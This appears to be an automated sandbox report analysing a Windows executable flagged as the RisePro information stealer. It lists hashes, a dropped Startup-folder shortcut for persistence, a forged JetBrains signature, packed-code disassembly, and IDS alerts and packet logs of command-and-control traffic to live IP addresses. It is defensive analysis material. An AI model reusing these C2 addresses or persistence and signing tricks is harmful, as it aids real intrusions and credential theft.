Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Thu Apr 25 13:29:15 2024, mtime=Thu Apr 25 13:29:15 2024, atime=Thu Apr 25 13:29:14 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	4.889328963942131
Encrypted:	false
SSDEEP:	24:8c0Hf408mcOeRvPgKKDDWdvXA8B1yNdFdcbxwYqygm:8vH+IeRvKXuw8B1yVryg
MD5:	9BC1950B49AC61BF1A636A362BE7D7C6
SHA1:	B0098FFF604E85E6D4CADE74B9D36BB1A35B51AA
SHA-256:	B47823CB5F3A143040EE21330ED80AF3DD2B49EADDAFE148166C98C086B46CBC
SHA-512:	00BBE1B44B08917459A1B2CFB888CAD30CEF601B57C413E627837C376053D6E85DAFEA31003FAB83D7314B5B9A503DFD7055969FCF8B34E31120E165611E2153
Malicious:	false
Preview:	L..................F.... ....K......q.......X........E.....................X.:..DG..Yr?.D..U..k0.&...&...... M............Z...........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X.s....B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X.s..Local.<......DWSl.X.s....V......................7..L.o.c.a.l.....N.1......X.s..Temp..:......DWSl.X.s....\.........................T.e.m.p.......1......X.s..EDGEMS~1.........X.s.X.s....L.......................E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.....b.2...E..X.s .EdgeMS2.exe.H......X.s.X.s....M......................A..E.d.g.e.M.S.2...e.x.e.......................-...........................C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe....E.d.g.e.M.S.2.Q.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.E.d.g.e.M.S.2._.4.5.c.4.8.c.c.e.2.e.2.d.7.f.b.d.e.a.1.a.f.c.5.1.c.7.c.6.a.d.2.6.\.E.d.g.e.M.S.2...e.x.e.........

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9724439244527
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'679'520 bytes
MD5:	565aa174e2e5cbae5811f5ed0f1d5e70
SHA1:	4ae3d13959acd0d263f115c9ebab24ffef4aec9e
SHA256:	96b0bc34b0b56a08f072fa86b980bc99ed38403dfd37e0c2c87e691c5c87ac9b
SHA512:	5cdf88656437339e23965346596ab62c69dc66af8e37e3dcb0c5f9d8010e5747c0e91b141d51855517f9082fe360a7aa8c1ebbe85a20f6bd9dff08335bc12723
SSDEEP:	98304:DLrbI5f3Frxhs3a07zlTYQFlfd6D18FxQY76TCRLNdTmr:7c5D4BLfdaYWTCRJO
TLSH:	3E06338959C136A1C89E52784ED3FA7D3A3566E582D35D0EA94C2ED2F8F2B35D233013
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...^.%f...............'.............B<...........@...........................p.....I.8...@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x7c42e3
Entrypoint Section:	.vmp,,,2
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6625EF5E [Mon Apr 22 05:02:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fce2185f86316405847dae4f4adccdc7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=JetBrains s.r.o. \xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	17/04/2024 16:34:05 18/04/2034 16:34:05
Subject Chain	CN=JetBrains s.r.o. \xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j
Version:	3
Thumbprint MD5:	A96F06B6F24AD5AC1F53F9E5FDC0816B
Thumbprint SHA-1:	1D5DFDA0FA0BA343BFD2968DF6A15E25F35D6528
Thumbprint SHA-256:	7FFEEEB0D9CA132A77BA827622D3E460C6720D7036CE7D88F80DC97C059696E4
Serial:	5E264BB6F748A1A54136979D5C99F11C

Entrypoint Preview

Instruction
pushfd
call 00007FB0119CD5FEh
push A009F681h
lea esp, dword ptr [esp+14h]
jmp 00007FB0119C8E3Bh
mov eax, 980C772Ah
shl al, 00000047h
mov edi, dword ptr [esi]
movzx ebp, ax
mov ecx, ebp
lea esi, dword ptr [esi+ebp*2-0000EDFCh]
inc eax
mov edx, ebp
mov ebp, edi
mov edi, esi
neg cl
add edx, edx
sub ax, ax
jns 00007FB011A7D81Ah
push EF20E93Ch
bswap ecx
mov dword ptr [esp+04h], 949720BEh
sal word ptr [esp+03h], FF8Eh
push EC9F2327h
adc ecx, C88637BDh
ror dword ptr [esp+00h], FFFFFFF7h
inc dword ptr [esp+03h]
xor ebx, ecx
call 00007FB01171A3F8h
xor bl, al
and ebp, ebp
adc eax, esp
neg bp
btr ebp, FFFFFF93h
mov bp, word ptr [eax]
jnc 00007FB01174DF1Fh
in eax, dx
sub al, D8h
sbb eax, dword ptr [edi-72F5707Ah]
mov seg?, word ptr [esi+37F81DD2h]
iretd
push cs
xchg byte ptr [edx-7173D152h], al
mov esp, B9681DEAh
fdivr dword ptr [ecx]
jnl 00007FB011742B7Fh
and al, 1Ch
jmp 00007FB011A800AFh
xor dword ptr [ecx], esi
add al, E0h
or dl, FFFFFFC3h
cmp dh, byte ptr [ebx+edi*4-64h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x622520	0x140	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x708000	0x322	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x380c00	0x1920	.vmp,,,0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x706000	0x1a24	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x445398	0x18	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7056c0	0x40	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x387000	0x8c	.vmp,,,1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x3e4a7c	0x40	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x158af8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x15a000	0x27b5a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x182000	0x4930	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp,,,0	0x187000	0x1ff289	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp,,,1	0x387000	0x72c	0x800	bed4eab29aae3626a74179af897d2bf7	False	0.05615234375	data	0.3469366473984432	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp,,,2	0x388000	0x37df70	0x37e000	3dcc9a1ca283116131e21a8c654865dc	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x706000	0x1a24	0x1c00	213d852cefee02e472bd8457d7a13be7	False	0.349609375	data	5.653449421614809	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x708000	0x322	0x400	a65a707476d283c43ebb5f856019e9ad	False	0.3984375	data	4.415236364490905	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x708058	0x2ca	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5028011204481793

Imports

DLL	Import
KERNEL32.dll	GetVersionExA
USER32.dll	wsprintfA
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitialize
WS2_32.dll	WSAStartup
CRYPT32.dll	CryptUnprotectData
SHLWAPI.dll	PathFindExtensionA
gdiplus.dll	GdipGetImageEncoders
SETUPAPI.dll	SetupDiEnumDeviceInfo
ntdll.dll	RtlUnicodeStringToAnsiString
RstrtMgr.DLL	RmStartSession
KERNEL32.dll	GetSystemTimeAsFileTime
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-16:29:27.346265	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49722	193.233.132.47	192.168.2.5
04/25/24-16:28:59.773227	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49706	50500	192.168.2.5	193.233.132.47
04/25/24-16:29:10.407350	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49709	80	192.168.2.5	193.233.132.175
04/25/24-16:28:59.996689	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49706	193.233.132.47	192.168.2.5
04/25/24-16:29:00.269062	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49706	193.233.132.47	192.168.2.5
04/25/24-16:29:25.947575	TCP	2049660	ET TROJAN RisePro CnC Activity (Outbound)	50500	49706	193.233.132.47	192.168.2.5
04/25/24-16:29:01.787253	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49706	50500	192.168.2.5	193.233.132.47
04/25/24-16:29:24.091237	TCP	2046269	ET TROJAN [ANY.RUN] RisePro TCP (Activity)	49706	50500	192.168.2.5	193.233.132.47

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 16:28:59.500036955 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:28:59.748241901 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:28:59.748377085 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:28:59.773226976 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:28:59.996689081 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:00.020903111 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:00.021127939 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:00.122479916 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:00.269062042 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:00.309863091 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:00.426271915 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:00.509335995 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.509406090 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.509490013 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.510776043 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.510798931 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.747550011 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.747731924 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.750468016 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.750498056 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.750958920 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.794234991 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.802030087 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.844152927 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.992150068 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.992292881 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.992357969 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.994770050 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.994788885 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:00.994806051 CEST	49707	443	192.168.2.5	34.117.186.192
Apr 25, 2024 16:29:00.994812965 CEST	443	49707	34.117.186.192	192.168.2.5
Apr 25, 2024 16:29:01.111176968 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.111231089 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.111311913 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.111639977 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.111651897 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.347501993 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.347600937 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.350469112 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.350478888 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.350845098 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.352190018 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.400113106 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.785468102 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.785571098 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.785624981 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.786731005 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.786751986 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.786788940 CEST	49708	443	192.168.2.5	104.26.5.15
Apr 25, 2024 16:29:01.786794901 CEST	443	49708	104.26.5.15	192.168.2.5
Apr 25, 2024 16:29:01.787252903 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.081398010 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.121609926 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.122591019 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.387567997 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.434834957 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.450583935 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.732702017 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.732721090 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.732733965 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.732780933 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.732795000 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:02.732848883 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.732902050 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:02.778754950 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:03.059187889 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:03.106729031 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:03.106844902 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:03.372039080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:03.419279099 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.488868952 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.494179010 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.741992950 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.742018938 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.742115021 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.742177010 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.742208004 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.742214918 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.742330074 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.742391109 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.784499884 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.784569979 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990037918 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990057945 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990076065 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990114927 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990170002 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990215063 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990267038 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990339994 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990353107 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990362883 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990390062 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990427971 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990447998 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990494013 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:06.990569115 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:06.990609884 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.032269955 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.032367945 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240617037 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240629911 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240653038 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240678072 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240689993 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240756035 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240767956 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240775108 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240794897 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240839958 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240855932 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240859985 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240895987 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240900993 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240921974 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240933895 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240961075 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.240963936 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.240981102 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.241000891 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.241051912 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.241101980 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.241102934 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.241132021 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.241142988 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.241154909 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.241156101 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.241204023 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.241219997 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.284742117 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.284848928 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.284849882 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.284926891 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.488532066 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.488697052 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.488750935 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.488780022 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.488831997 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.488879919 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.488945007 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.488948107 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489027977 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489041090 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489104986 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489182949 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489192963 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489258051 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489335060 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489347935 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489398956 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489439011 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489495993 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489504099 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489559889 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489640951 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489666939 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489691019 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489743948 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489777088 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489819050 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.489835978 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489885092 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.489973068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490010977 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490024090 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490071058 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490227938 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490240097 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490312099 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490427971 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490478992 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490482092 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490525961 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490617990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490665913 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490745068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490803957 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:07.490849018 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:07.490889072 CEST	50500	49706	193.233.132.47	192.168.2.5
